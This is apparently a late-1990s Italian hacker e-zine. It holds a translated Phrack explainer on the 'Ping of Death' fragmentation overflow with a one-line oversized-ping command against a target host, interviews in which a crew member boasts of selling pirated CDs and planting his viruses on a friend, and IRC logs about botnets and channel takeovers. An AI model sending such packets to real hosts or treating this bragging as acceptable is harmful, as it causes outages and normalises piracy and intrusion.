disalimenteranno il nucleo (scrivendo un grosso file di contenuti della memoria corrente, spesso seguito da un crash), molte perdono tutta la connetivita' di rete, altre fanno un reboot o semplicemente si bloccano. [ Fondamenti IP del caso ] Al contrario della credenza popolare, il problema non ha niente a che fare con il programma "ping". Il problema e' nel modulo IP. Piu' specificatamente, il problema e' nella porzione frammentazione/riassemblaggio del modulo IP. Questa e' la parte del protocollo IP in cui i pacchetti vengono divisi in pezzi piu' piccoli per il transito, e pure dove sono riassemblati per l'elaborazione. Un pacchetto IP ha una dimensione massima vincolata da un campo header a 16 bit (un header e' una porzione di un pacchetto che contiene informazioni sul pacchetto, incluso da dove viene e dove sta andando). La dimensione massima di un pacchetto IP e' di 65.535 (2^16-1) bytes. Lo stesso header IP e' di solito grande 20 bytes, cosi' ci rimangono 65.515 bytes in cui metterci i nostri dati. Il sottostante link layer (il link layer e' il sotto IP logico della rete, spesso ethernet) puo' raramente maneggiare pacchetti cosi' grossi (ethernet, per esempio, puo' adoperare solo pacchetti di grandezza fino a 1500 bytes). Cosi', per fare in modo che il link layer sia capace di smaltire un grosso pacchetto, il modulo IP deve frammentare (rompere in piccoli pezzi) ogni pacchetto che invia al link layer per la trasmissione sulla rete. Ogni singolo frammento e' una porzione del pacchetto originale, con il proprio header contenente informazioni su esattamente come la parte ricevente debba rimetterlo insieme. Quando la parte ricevente ha tutti i frammenti, li riassembla nel pacchetto IP originario, e quindi lo elabora. [ L'attacco ] L'l.p.a. e' concettualmente molto semplice. Un utente malizioso costruisce un pacchetto grosso e lo spedisce. Se l'host destinatario e' vulnerabile, accade qualcosa di cattivo (vedi sopra). Il problema e' nel riassemblaggio di questi pacchetti. Ricordiamo che abbiamo 65.515 bytes di spazio da imbottire di dati. Come capita, qualche applicazione birichina (e altre maligne specificatamente create) permetteranno a qualcuno di mettere un po' di dati in piu' (diciamo 65.520 bytes). Questo, assieme all'header IP di 20 bytes, viola la grandezza massima del pacchetto che e' di 65.535 bytes. Il modulo IP semblicemente rompera' questo pacchetto sovradimensionato in frammenti li spedira' al loro destinatario (bersaglio). L'host ricevente accodera' tutti i i frammenti fino all'arrivo dell'ultimo, quindi comincera' il processo di riassemblaggio. Il problema emergera' quando il modulo IP scoprira' che il pacchetto e' nei fatti piu' grande della dimensione massima ammessa e come un buffer interno andra' in overflow. Questo e' dove succede qualcosa di cattivo (vedi sopra). [ Test di vulnerabilita' e patch ] Effettuare un test per vedere se un meccanismo di rete e' vulnerabile e' abbastanza facile. Windows NT e Windows 95 permettono la costruzione di questi pacchetti sovradimensionati senza problemi. Basta digitare: 'ping -l 65508 targethost'. In questo caso, stiamo rilasciando un pacchetto IP sovradimensionato all'interno di un pacchetto di ping, che ha la dimensione dell'header di 8 bytes. Se fai la somma, 20 bytes di header IP + 8 bytes di header ping + 65.508 bytes di dati, otterrai un pacchetto IP di 65.536 bytes. Questo e' abbastanza per causare problemi ai sistemi vulnerabili. La difesa e' preventiva. Il solo modo per essere realmente sicuri da questo attacco e' quello diassicurarsi che il proprio sistema sia patchato, o staccare la sua spina dalla rete. Ci sono patches per quasi ogni sistema vulnerabile. Per una lista copiosa di sistemi vulnerabili e di patches, cerca una webpage 'Ping of Death' nelle vicinanze. daemon9 Editor, Phrack Magazine (daemon9@netcom.com) (R)1999, WURZ ۰۰۰۰۰۰۰۰۰۰۰۰ ۰۰۰۰۰۲۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰۰۰۰۰ ͻ ͹ INTERVISTA A UN HACKER - REDATTORE DI E-ZINE ͹ ͼ N0bodY88: Ciao se ti va cominciamo va bene? ChRoMe: Ummhhh..se siamo qui' dovremmo pure cominciare...prima o poi N0bodY88: Direi di cominciare dalla solita e sempre apprezzata domanda quando hai iniziato? ChRoMe: E chi se lo ricorda,hihhihihi,apprte gli scherzi...in tenera eta',dopo i 17 anni cominciai piu' come cracker che come altro. Poi vennero le BBS...Internet era roba per eletti, poi l'avvento di itapac..e di li in poi e' storia N0bodY88: Quali e quanti computer hai avuto fino ad oggi? ChRoMe: Bhe'..su quanti, sinceramente non ricordo, su quali tutti quelli che conosci, e forse anche qualcuno di cui ignori l'esistenza Ma il vero inizio e' stato con i pc....prima con amiga e 64 erano piu' cose da ragazzi N0bodY88: Di che gruppo/i hai fatto parte e fai parte tuttora? ChRoMe: Non sono mai stato un vero animale da branco, all'inizi collaboravo per lo piu' con gruppi di Crakers, stranieri, adesso sono SPP, perche' mi trovo bene con i ragazzi, gente simpatika e preparata N0bodY88: Io so che tu sei il redattore di una e-zine molto conosciuta, e a proposito di essa volevo chiederti...come mai tu e il tuo gruppo avete deciso di farla? ChRoMe: Redattore e' una parola grossa, metto solo insieme del materiale che gli altri mi mandano, e quando ho tempo scrivo qualche cazzata... l'idea mi balenava nella testa,un giorno ne ho parlato con Brigante, e ho visto il suo interesse ,allora ho parlato con RIg e gli altri e siamo partiti. N0bodY88: E' stata un idea di qualcuno o un bisogno comune emerso? ChRoMe: Come dico sopra...l'idea era nell'aria, noi siamo per condividere tutto (apparte le risorse..hehehehe) e visto la qualita' dei collaboratori e la voglia dei lettori di seguire il progetto...siamo andati avanti N0bodY88: Che ne pensi della scena italiana di hacker, newbies e affini? ChRoMe: MmmHHH...molta gente brava,tanti giovani che emergono,ma il tutto poko organizzato, siamo sempre una razza di cani sciolti,se ci fosse un po' piu' di cooperazione, si lavorerebbe con piu' stimoli, devo dire che noi stiamo facendo del nostro meglio per fare accadere cio'...stiamo cercando di unire le persone in progetti comuni,ma non e' cosa da due giorni,ce' ancora diffidenza,la gente si tiene per se' le sue conoscenze. N0bodY88: Mi hanno raccontato ma non so se e' vero che una volta hai avuto problemi con il programma Moglie 1.0.0 ma che e' bastato installare Amante 1.0.beta e nasconderlo dentro la cartella di windowz x non farlo scoprire a Moglie1...tu cosa fai confermi o neghi tutto? E' vero che hai fatto l'upgrade da Amante 1.0.beta a Amante 1.0.1 detta anke versione "Porca"? ChRoMe: Makke' ho crakkato il tutto altro che Upgrade...HIHIHIHIHIHIH N0bodY88: Cosa ne pensi del sito de Il Timone? ChRoMe: Sono nella taskforce...hehehehehehe Che ne devo pensare...lo hai letto...io l'ho letto...trai tu le conclusioni :) N0bodY88: Cosa pensi sia utile x chi vuole iniziare e diventare...come te? ChRoMe: AHAHAHAHAHAHAHAHA dici bello biondo alto e con gli okki azzurri?... una sana alimentazione. Apparte le cazzate,tutti possonno diventare tutto, basta avere voglia di imparare, leggere, studiare, e provare, provare fino alla noia, documentarsi su le cose che si vogliono fare, e poi provare in luoghi sicuri, fino che non si e' in grado di trasportre le proprie procedure sulla net, avere sempre cura di non lasciare stupide tracce, non fare danni..quelli non danno nessun gusto.....avere un po' di buon senso, essere umili, cercare di fare poke domande, e quelle che si fanno, devono essere intelligenti, altrimenti...la gente non ti rispondera' mai. Insomma le solite cose che dicono tutti...hehehehehehe N0bodY88: E' vero che bisogna lavorare nel mondo dei pc x diventare bravo? ChRoMe: No,non e' un dogma, certo che se fai il pizzaiolo, come un mio amiko.. hehehehehe,la cosa si fa' un pelino piu' complicata,hai meno tempo da dedicare al pc,sei meno informato...diciamo che lavorare nel settore.. ...aiuta,ma non e' indispensabile. N0bodY88: Cosa sono le cose + pazze-belle-divertenti-pericolose-azzardate-in nocue che abbia mai fatto e di cui parlerai sicuramente se scriverai un libro sulla tua vita? ChRoMe: Beh..non ho mai pensato di scrivere un libro...hehehehehehe E di cose pazze-belle-divertenti-pericolose-azzardate-innocue ne ho fatte talmente tante, informatike e non, che dovrei scriverci un'enciclopedia...hehehehehe Certo quella volta nella N.A.S.A........ hhahahahahahahahahhahahahaha N0bodY88: Se ti dicessero ti diamo tutto quello che vuoi se non tocchi + nessun pc, telefono, cellulare, centraline et simili cosa risponderesti? ChRoMe: Tutto,propio tutto quello che ho da chiedere?? Se me lo danno...cosa e' un PC? Un cellulare???...mai sentiti nominare :)) N0bodY88: Cosa hai in mente di fare nel futuro (oltre ad hackerare il sito di newbies :PPP)? ChRoMe: Apparte che quello lo ho gia' hackerato... :PPP Ho solo buoni propositi :) Uno dei migliori...non rilasciare piu' interviste...hehehehehehehe Adesso,oltre che Netrunners (la e-zine)...ho in mente altri progettini...sempre sul condividere conoscenze...ma il tempo e' quello che e'...si cresce.Gli impegni, il lavoro...non ce' molto piu' da spippolare...anke se qualke seratina come hai vecchi tempi...me la faccio volentieri :) Una cosa e' certa...dura da dire ma certa...sono un po' sul viale del tramonto..ma ke ci volete fare...si invekkia hehehehehehehehehehehe ;)) N0bodY88: Grazie per avermi concesso il tuo tempo, e a nome di tutto il NewBies Staff grazie 1000 x averci rilasciato questa intervista ^__^ ChRoMe: Grazie a voi per avermela chiesta Un saluto a tutti gli amici,e vi prego...non prendetemi troppo per il culo...hahahahahahahahahahahahahhha ChRoMe: Ciao ragazzi e statemi buoni... Byz ChRoMe SPP MemBers ͻ ͹ INTERVISTA A UNA CREW POCO CONOSCIUTA ͹ ͼ legenda: NONHONOME = e' l'intervistatore di cui non mettiamo il nick su sua richiesta, causa possibili casini... TL-MAN = una delle tre menti che producono i famosi Twilight NONHONOME: Quando hai cominciato a programmare ? TL-MAN: All'eta' di 5 anni mio padre cominciava a spiegarmi come funzionava il mio primo computer ...alla fine dell'anno ero riuscito a completare il mio programma in qbasic capace di svolgere tutti i tipi di calcoli matematici non complessi ...(ovvio che sapevo gia' contare ...) . NONHONOME: Come 6 riuscito ad entrare nei Twilight ? TL-MAN: Non e' proprio che ci sia riuscito ...che io abbia cercato loro e che loro abbiano cercato me ...ci si e' incontrati su icq 1a decina d'anni fa ...eravamo programmatori incalliti squattrinati . NONHONOME: Quanti cd credi di aver copiato nella tua vita ? TL-MAN: Mhmmm ....quando e' uscito il primo masterizzatore a 1x che costava circa 4.000.000 ??? Bho ...Cmq si puo stimare con 1 calcolo matematico + o - ... Facevo e faccio 6h di computer al gg (dalle 14.00 alle 20.00 ~) quindi salvo inconvenienti alla fine della settimana 42h ...in 1 mese 180 ...in 1 anno 2160 ...ho tenuto l'1x per circa 2 anni prima di prendermi il 2x...quindi con il master a 1x ho copiato circa 1cd/h=2000 cd dato che non facevo altro che masterizzare ...poi con l'arrivo del master a 2x poi a 4x infine (ora) a 8x i cd non si contano ...solo la lista dei cd che devo tenere dentro casa occupa 1 cd da 710mb quindi fatevi voi il conto del numero di cd che ho dato che a ogni riga di documento corrisponde 1 programma ... NONHONOME: Che giochi hai crakkato fin'ora e qual'e' stato il piu' impegnativo? TL-MAN: Anche quelli sono abbastanza ...1 numero non lo so fare ...quello che mi arrivava non crakkato io krakkavo ... Il gioco che + mi ha rotto i coglioni e' stato XFiles ...di per se' non e' molto complesso ma 7o8 cd (non mi ricordo + ...) mi hanno fatto perdere circa 1a settimana ossia ~42h~ ... NONHONOME: Su che macchine hai lavorato ? TL-MAN: Il mio primo pc e' stato il gloriosissimo M24 dell'ibm ...ho poi avuto un 80 , un 286 , 486 , un pentium 75 , un *pentium 150~ , un pentium 200~ , un pentium II 333 , un pentium III 500~ (provero' a clokkarlo.. ..) . Quello che mi piace di piu' e di cui mi sento "fortunato" e il fatto di essere cresciuto con loro ...e in fatto di hardware credo di non essere tanto male . NONHONOME: La cosa + pazza che tu abbia mai fatto ? TL-MAN: Hehehehehe ...che domanda ...Penso che il fatto di aver creato 1TL apposta per 1 mio """"amico"""" con dentro 1o dei miei virus (effetti sono stati)sia abbastanza pazza ....NO la cosa + pazza che abbia mai fatto e' quando , studiando lassembler , ho preso la tastiera e l'ho buttata fuori dalla finestra !!!! Ero troppo incazzato ...avevo fatto partire uno dei miei virus sul mio povero 486 ...quell' HD non ha + visto un dato ...le dita erano scollegate dal cervello ... NONHONOME: Le protezioni che metti nei cd sono cattive ? TL-MAN: ??????? ASSOLUTAMENTE NOOOOOO (sono delle merde di protezioni). Vendiamo X cd quei cd sono di 710 Mb (ce li facciamo fare da un membro della crew che s'e' costruito/comprato un macchinario grande come 1a scrivania per stampare i cd ) . La cosa che mi anzi CI fa 1 po' incazzare sono le leggende metropolitane che quel dato TL sia protetto ..NO! Quelli che vi arrivano a casa non sono sicuramente quelli da 710 Mb perche' di quelli al massimo potete *copiare i giochi che contengono e il menu' ma non il cd intero(a-che non vi troviate un fornitore di cd da710 Mb ...inesistente) . Qualcuno di voi a mai visto 1 cd ORIGINALE Twilight ??? Non credo proprio ...anche perche' li facciamo arrivare e partire da altri stati che non siano i nostri in modo da "disorientre gli eventuali pulotti" . Qualcuno (non faccio nomi) ha detto che le protezioni dei TL sono delle cazzate .... E' SCONTATO !!! Noi non li proteggiamo affatto sono quelli che li clonano che li proteggino ...hahahahahaha !!! Cmq dal 42 in poi credo che ci metteremo di impegno per escogitare qualche protezione ...su alcuni originali la stiamo testando ma non e' ancora cosi' efficace... di sicuro non sara' infallibile ma certamente chiunque dovra' farsi il culo a ogni numero prima di poterselo copiare !!! Ah dimenticavo poi di aggiungere che ai cd clonati che vi arrivano a casa sono stati tolti 1o o + giochi causa incopetenza del "cloner" e di 1a piccola protezione (cretina ma proprio chertina) che mettiamo sui cd. NONHONOME: Quanti siete ? TL-MAN: Pochi ma buoni ...siamo in 3 ! Abbiamo iniziato e finiremo in 3 ... cmq quando ci stuferemo i TL continueranno di certo come in questo periodo nel quale abbiamo incaricato un'altra crew di continuare al posto nostro perche' abbiamo seri problemi . NONHONOME: Come vi contattate ? TL-MAN: Usiamo un programmino di nostra invenzione in internet e ci troviamo a ore impossibili data la differenza tra i fusi ... NONHONOME: Quanto guadagnate in 1 mese ? TL-MAN: Bhe mia mamma quando si e' vista arrivare 1a busta contentente TUTTO il guadagno di 1 mese credeva avessi rapinato 1a banca per cui ho detto :( agli altri membri di mettere tutto cio' che non posso avere ora in 1 conto a parte ...adesso a casa mi arrivano si e no 3mil/mese. NONHONOME: Perche' ti piace krakkare ? TL-MAN: Penso che quello che mi spinge di + in questo "gioco" sia la sfida... NONHONOME: In quali altri gruppi 6 stato ? TL-MAN: Nessun altro. Il primo ed ultimo gruppo in cui saro' sara' il nostro. NONHONOME: Di dove siete ? TL-MAN: In Italia ci sono solo io (se parlo italiano ...) Gli altri sono uno in Inghilterra l'altro Nell'America Settentrionale ... TL-MAN: Ora Newbies puo' vantare un maggiore interesse anche da parte della guardia di finanza !!!! NONHONOME: Grazie del tuo aiuto [ :PPPPP ] x far interessare la pula a noi! e grazie x l'intervista. Alla proXima ciauz TL-MAN: Ciaoz ci vediamo in rete :) ۰۰۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰۰۰۰۰ Non siamo certo noi che possiamo dire chi e' un hacker e chi e' un lamer, ma abbiamo deciso di mettere alcuni log delle discussioni avvenute su irc che + ci hanno colpito, e x quanto riguarda m0f0z secondo molti non e' un hacker ma solo uno con tante shell, tant'e' che se e' vero che in 1 min ti porta 50 bot su che chan vuole, e anke vero che se qualcuno (non io eheheh...magari!!!!!) volesse potrebbe buttarglieli giu' tutti in meta' tempo... Ecco a voi i log raccolti in questi 2 mesi, byezz N0bodY88 ͻ ͹ M0F0Z LAMER O HACKER ??? ͹ ͼ [15:32] ciao kali [15:32] <}SquartY{> cia' frate' [15:32] ciao squa [15:32] ciao ghim [15:33] <}SquartY{> Mofz [15:33] tho oggi c'e' m0f0z the lamer [15:33] <}SquartY{> azz [15:33] <}SquartY{> Kalidor [15:33] <}SquartY{> appunto questo volevo dirti [15:33] <}SquartY{> una cosa [15:33] cosa [15:33] <}SquartY{> kome fai ad essere certo [15:33] <}SquartY{> ke m0f0z fossse un lamer ? [15:33] fosse? [15:34] che italiano wow [15:34] bhe [15:34] squa [15:34] si capisce bene [15:34] dal fatto che rompe sempre [15:34] <}SquartY{> Kalidor [15:34] che dice che lui hackera la nasa [15:34] <}SquartY{> mmh [15:34] il fatto e' che [15:34] <}SquartY{> non kredo ke abbia mai nominato Nasa [15:34] lui ha una presunta shell [15:34] in un .gov [15:34] e si crede chissachi [15:35] a me si [15:35] parlavamo di nasa.gov [15:35] e lui si e' messo a dire che ha una shell li [15:35] <}SquartY{> anke se fosse vero [15:35] shel da tutte le parti [15:35] <}SquartY{> non e' lamah [15:35] lui e' l'uomo shell [15:35] si che e' lamah [15:35] <}SquartY{> Kalidor [15:35] <}SquartY{> non sapevo ke ki avesse un casino di shell fosse lamah [15:35] infatti no [15:36] ma lo e' chi dice di avere un casino di shell [15:36] ma non le ha [15:36] <}SquartY{> Kalidor [15:36] cosa [15:36] <}SquartY{> guarda gia' quanti cazzo di bot che ha [15:36] ma quelle non sono .gov [15:36] lui parlava di .gov [15:36] <}SquartY{> appunto........... [15:36] <}SquartY{> kalidor [15:36] mi han detto che FORSE lui ha una shell in un presunto .gov [15:36] <}SquartY{> sulle .gov [15:36] ma di sicuro non in nasa.gov [15:36] <}SquartY{> ci pigli le info [15:36] <}SquartY{> al massimo [15:36] <}SquartY{> ma non ci metti su i bot [15:37] lo so [15:37] <}SquartY{> Kalidor [15:37] ma lui non ha [15:37] shell .gov a parte quella cazosa li [15:37] <}SquartY{> ma anke se non hacka la Nasa [15:37] <}SquartY{> rimane sempre il migliore [15:37] puf [15:37] fammi il piacere [15:37] il migliore lui? [15:37] si sara' preso [15:37] 4 shell [15:37] da qualche parte [15:37] in qualche canale [15:37] e ci ha messo 4 bot sopra [15:38] ok [15:38] guarda mo:) [15:38] *** bLkKiLLaH (~redkillah@hkudhcp1.hku.hk) has joined #hacker2 [15:38] *** LeXLuThOr (^lexluthor@208.135.100.68) has joined #hacker2 [15:38] *** MeNToR (~mentor@210.96.140.2) has joined #hacker2 [15:38] *** StArWArS (~starwars@shadow.jpl.utsa.edu) has joined #hacker2 [15:38] *** SpITfiRe (~spitfire@shadow.jpl.utsa.edu) has joined #hacker2 [15:38] *** O`B` (-OB@sun.movar.pate.hu) has joined #hacker2 [15:38] *** TErMinUs (~terminus@210.96.140.2) has joined #hacker2 [15:38] *** CaMOrrA (^camorra@208.135.100.68) has joined #hacker2 [15:38] *** LInEsLady (~L|n35l3dy@195.96.230.135) has joined #hacker2 [15:38] *** `7tH-LoRd (~7thlord@193.254.40.35) has joined #hacker2 [15:38] *** Er-Mister (~MISTAH@kzwsun.butaman.ne.jp) has joined #hacker2 [15:38] *** UNzeTTAr0 (~UNZ@kzwsun.butaman.ne.jp) has joined #hacker2 [15:38] *** Att|la (-Attila@sun.movar.pate.hu) has joined #hacker2 [15:38] *** SUbNeT (^subnet@206.154.132.180) has joined #hacker2 [15:38] *** NEtMAsK (^netmask@206.154.132.180) has joined #hacker2 [15:38] *** Hub1 (~hub1@www.city.sanjo.niigata.jp) has joined #hacker2 [15:38] *** il-m0f0z (-il-m0f0z@n48-en1.rhea.cnusc.fr) has joined #hacker2 [15:38] *** TEkNoTRiP (^teknotrip@207.124.222.30) has joined #hacker2 [15:38] *** G0lIA (~G0lIA@195.96.230.135) has joined #hacker2 [15:38] *** PHrAcK (~phrack@n48-en1.rhea.cnusc.fr) has joined #hacker2 [15:38] *** InSaN|tY (~insanity@n32-en1.rhea.cnusc.fr) has joined #hacker2 [15:38] *** TRiCkY (~tricky@marius.univ-mrs.fr) has joined #hacker2 [15:38] *** SHiZNiT (~shiznit@ugolin.univ-mrs.fr) has joined #hacker2 [15:38] *** `7tHk-KrW (-7thkrew@193.254.40.35) has joined #hacker2 [15:38] *** `7tH-r0x (~7throx@194.151.101.35) has joined #hacker2 [15:38] <}SquartY{> azz [15:38] bhe [15:39] ? [15:39] <}SquartY{> pure universita' francesi ? [15:39] <}SquartY{> pure universita' francesi ? [15:39] <}SquartY{> Kalidor [15:39] piac? [15:39] dipiac? [15:39] mha [15:39] <}SquartY{> secondo me hai un po'torto [15:39] bah [15:39] *** StArWArS (~starwars@shadow.jpl.utsa.edu) has left #hacker2 (StArWArS) [15:39] *** SpITfiRe (~spitfire@shadow.jpl.utsa.edu) has left #hacker2 (SpITfiRe) [15:39] *** LeXLuThOr (^lexluthor@208.135.100.68) has left #hacker2 (LeXLuThOr) [15:39] *** TErMinUs (~terminus@210.96.140.2) has left #hacker2 (TErMinUs) [15:39] *** MeNToR (~mentor@210.96.140.2) has left #hacker2 (MeNToR) [15:39] *** CaMOrrA (^camorra@208.135.100.68) has left #hacker2 (CaMOrrA) [15:39] *** Att|la (-Attila@sun.movar.pate.hu) has left #hacker2 (Att|la) [15:39] *** O`B` (-OB@sun.movar.pate.hu) has left #hacker2 (O`B`) [15:39] *** SUbNeT (^subnet@206.154.132.180) has left #hacker2 (SUbNeT) [15:39] *** bLkKiLLaH (~redkillah@hkudhcp1.hku.hk) has left #hacker2 (bLkKiLLaH) [15:39] *** NEtMAsK (^netmask@206.154.132.180) has left #hacker2 (NEtMAsK) [15:39] i nick sono stupidi [15:39] <}SquartY{> embe [15:39] <}SquartY{> ke centra ? [15:39] *** il-m0f0z (-il-m0f0z@n48-en1.rhea.cnusc.fr) has left #hacker2 (il-m0f0z) [15:39] *** G0lIA (~G0lIA@195.96.230.135) has left #hacker2 (G0lIA) [15:39] *** `7tHk-KrW (-7thkrew@193.254.40.35) has left #hacker2 (`7tHk-KrW) [15:39] *** PHrAcK (~phrack@n48-en1.rhea.cnusc.fr) has left #hacker2 (PHrAcK) [15:39] *** Hub1 (~hub1@www.city.sanjo.niigata.jp) has left #hacker2 (Hub1) [15:39] *** TEkNoTRiP (^teknotrip@207.124.222.30) has left #hacker2 (TEkNoTRiP) [15:39] *** FedsR-Us (~fedsareus@n32-en1.rhea.cnusc.fr) has joined #hacker2 [15:39] *** NoWayOut (~nowayout@marius.univ-mrs.fr) has joined #hacker2 [15:39] *** XIpHeR (~shiznit@ugolin.univ-mrs.fr) has joined #hacker2 [15:39] *** NoWayOut (~nowayout@marius.univ-mrs.fr) has left #hacker2 (NoWayOut) [15:39] *** XIpHeR (~shiznit@ugolin.univ-mrs.fr) has left #hacker2 (XIpHeR) [15:39] *** SHiZNiT (~shiznit@ugolin.univ-mrs.fr) has left #hacker2 (SHiZNiT) [15:39] *** InSaN|tY (~insanity@n32-en1.rhea.cnusc.fr) has left #hacker2 (InSaN|tY) [15:39] *** TRiCkY (~tricky@marius.univ-mrs.fr) has left #hacker2 (TRiCkY) [15:39] *** `7tH-r0x (~7throx@194.151.101.35) has left #hacker2 (`7tH-r0x) [15:39] *** UNzeTTAr0 (~UNZ@kzwsun.butaman.ne.jp) has left #hacker2 (UNzeTTAr0) [15:39] *** FedsR-Us (~fedsareus@n32-en1.rhea.cnusc.fr) has left #hacker2 (FedsR-Us) [15:39] *** Er-Mister (~MISTAH@kzwsun.butaman.ne.jp) has left #hacker2 (Er-Mister) [15:39] *** LInEsLady (~L|n35l3dy@195.96.230.135) has left #hacker2 (LInEsLady) [15:39] *** `7tH-LoRd (~7thlord@193.254.40.35) has left #hacker2 (`7tH-LoRd) [15:39] niente [15:40] <}SquartY{> e allora........... [15:40] bha [15:40] <}SquartY{> kredo ke ci dovremmo solo inkinare a lui [15:40] ha quache shell in piu' [15:40] <}SquartY{> ed essere onorati della sua presenza su sta chan [15:40] squa sei un lecchino di merda [15:40] <}SquartY{> Kalidor [15:41] <}SquartY{> sto dicendo solo la verita' [15:41] hai fifa di lui forse [15:41] <}SquartY{> ki non l'avrebbe ? [15:41] :) [15:41] io? [15:41] =) [15:41] <}SquartY{> tu ke hai una connessione isdn ? [15:41] <}SquartY{> per favore......... [15:41] tanto piu' che disconnettermi non puo' fare [15:41] sai che paura che mi fa [15:41] e poi [15:41] ovviamente [15:41] il grande hacker [15:41] non fa lamerate [15:42] tipo smurf [15:42] <}SquartY{> ekko [15:42] <}SquartY{> e' per questo [15:42] <}SquartY{> ke non ci caga proprio......... [15:42] io direi di si [15:42] perche' [15:42] se avesse qualcosa di piu' da fare [15:42] non adrebbe in giro a takkare canali a caso [15:43] trovati una ragazza mofo [15:43] <}SquartY{> Kalidor [15:43] <}SquartY{> non parlare piu' plz.......... [15:43] perche'? [15:43] kali scusa anche noi ogni tanto ci dilettiamo a takkare quindi io non posso parlare [15:44] bhe ma quello e' per sport [15:44] =) [15:44] poi [15:44] li ridiamo [15:44] i canal [15:44] i [15:44] :) [15:44] <}SquartY{> kalidor [15:44] <}SquartY{> guarda ke noi i canali li perdiamo......... [15:44] hahaha [15:44] bhe [15:44] se volessimo takkarli per davvero [15:44] ci metteremmo almeno un bot [15:44] no? [15:45] si e' vero [15:45] <}SquartY{> si [15:45] <}SquartY{> ma visto [15:45] <}SquartY{> ke noi stiamo skarsi a shell [15:45] <}SquartY{> ce la facciamo a piedi........... [15:45] bhe [15:45] w00f w00f qualche shellina l'ha sempre [15:46] <}SquartY{> kalidor [15:47] veramente anche io ho un po di shell ma per il momento non ci metto bot io [15:47] appunto [15:47] non ce ne frega proprio niente dei bot a noi [15:47] <}SquartY{> kal [15:47] <}SquartY{> guarda ke tutte le shell [15:47] <}SquartY{> ke abbiamo noi di hacker2 [15:47] <}SquartY{> non apparano quelle di mofoz [15:48] apparano? [15:48] <}SquartY{> cioe' [15:48] <}SquartY{> guarda ke tutte le shell [15:48] <}SquartY{> ke abbiamo noi di hacker2 [15:48] <}SquartY{> non sono nemmeno la minima parte [15:48] <}SquartY{> di quelle di mofoz [15:48] bhe [15:49] certo [15:49] lui sta tutto il giorno a cercarl [15:49] <}SquartY{> allora [15:49] fa solo quello [15:49] <}SquartY{> e ci riesce pure............ [15:49] e' peggio di me [15:49] si ma magari m0f0 le ha inculate in giro grazie al cazzo senza il minimo sforzo [15:49] infatti [15:49] magari e' andato in giro per canali [15:49] <}SquartY{> si [15:49] gia [15:49] ha scritto un paio di guest guest [15:49] e se l'e' prese [15:49] <}SquartY{> a farsele regalare......... [15:50] oppure ha preso per il kulo quelli su #shell [15:50] <}SquartY{> kalidor [15:50] e gli ha fregato le shel sotto il naso.. [15:50] <}SquartY{> ora faccio il paste [15:50] <}SquartY{> di quello ke ha detto Lord [15:50] <}SquartY{> [15:42] ke lamah di merda che e' kalidor ... [15:50] uhm [15:50] ce l'ha con me? [15:51] <}SquartY{> vedi tu......... [15:51] mah non so hihi [15:51] e lui che vuole [15:51] <}SquartY{> difendeva mofoz [15:51] turna [15:52] <}SquartY{> ke ? [15:52] tutti a lekkinar [15:52] in ogni caso [15:53] la botnet e' fatta insieme [15:53] nel senso che alcune shells sono mie, altre di m0f0z [15:53] <}SquartY{> ke e' MytHoSH ? [15:53] <}SquartY{> si [15:53] <}SquartY{> pero' senza dubbio Mofo [15:53] <}SquartY{> e' il migliore [15:53] <}SquartY{> ed io l'ho sempre detto......... [15:53] slap slurp [15:53] hihi [16:07] *** }SquartY{ has quit IRC (Ping timeout) [16:10] *** |MytHosH| (~mythos@a-ps3-5.tin.it) has left #hacker2 (|MytHosH|) QUERY TRA ME (KALIDOR) E SQUARTY [15:54] cos'e' una tattica per farsi oppare o ti sei completamente rincoglionito [15:54] <}SquartY{> kalidor [15:54] <}SquartY{> dico solo la verita' [15:54] <}SquartY{> perke' e' vero [15:54] [15:53] io penso che m0f0 non valga un cazzo [15:54] <}SquartY{> ci sono stato un attimo [15:54] la pensano cosi' [15:54] tutti qui [15:54] tranne te [15:55] <}SquartY{> ci sono stato un anno [15:55] e lord nop [15:55] <}SquartY{> insieme a lui [15:55] <}SquartY{> su #hackers.it [15:55] e che facevate [15:55] i takkini? [15:55] tutto il tempo? [15:55] <}SquartY{> no [15:55] <}SquartY{> Kalidor [15:55] <}SquartY{> sai cosa penso io ? [15:55] di cosa [15:56] <}SquartY{> ke tu non hai mai avuto la fantastica opportunita' [15:56] <}SquartY{> di stare in una chan di hackers veri......... [15:56] <}SquartY{> e quindi [15:56] <}SquartY{> non ti puoi rendere conto............ [15:56] m0f0 e' un hacker vero secondo te? [15:57] <}SquartY{> e' certo............ [15:57] bum [15:58] <}SquartY{> ke ? [15:58] gli hacker veri [15:58] sono hacker veri [15:58] non stanno nemmeno a guardare [15:58] irc [15:58] se non per farsi 4 chiacchiere [15:58] non dicono a mezzo mondo che hanno shell [15:58] <}SquartY{> infatti [15:58] e non takkano canali per far vedere che sono fighi [15:59] <}SquartY{> 1)Credo ke se non esistesse irc non potrebbero essere mai esistite le crew........ [15:59] <}SquartY{> 2)Se ha parlato di shell e' per mettere a tacere certi lamah [16:00] <}SquartY{> 3)Per me sta tentando di takkare tutte le chan di hacking italiane........ [16:00] perche' e' un lamer [16:00] una volta che takka tutte le chan di hacking italiane che fa? [16:00] <}SquartY{> niente [16:00] <}SquartY{> ke ci vuoi fare ? [16:00] dice che sono figo che sono figo? [16:01] <}SquartY{> ha monopolizzato tutto [16:01] mm e' nato un altro bill gates [16:01] ne basta uno [16:01] <}SquartY{> kalidor [16:01] <}SquartY{> secondo me [16:01] <}SquartY{> ti sei rincoglionito un po' [16:01] hai parlato va ͻ ͹ SCUSSA CHE TU CCIAI UNA CARTA DI CREEDITO? ͹ ͼ Non sono un hacker e non sono forse neanche un newbies, ma alcune volte ankio posso riconoscere un lamer...questo e' il log di un tipo che su #hackernow mi ha querato prima pregandomi, e poi pigliandomi x il culo, a voi la sentenza; ps: ho lasciato il suo vero nick xche' ognuno deve prendersi le proprie responsabilita' simp (secondo il mio parere). <^SerNok> please damme carte de credito che me serve da entrare in un sito <^SerNok> per favore aiuto non ne ho sorry <^SerNok> vaffanculo <^SerNok> a te frocio di merda che sei e ti fai chiamare hacccker PS - COMPITO A CASA : trovatemi su quale delle 3 e-zine ho mai detto di essere un hacker... ۰۰۰۰۰۰۰۰۰۰۰۰ ۲۰۰۰۲۰۰۲۰۰۰۰۰۰۰ 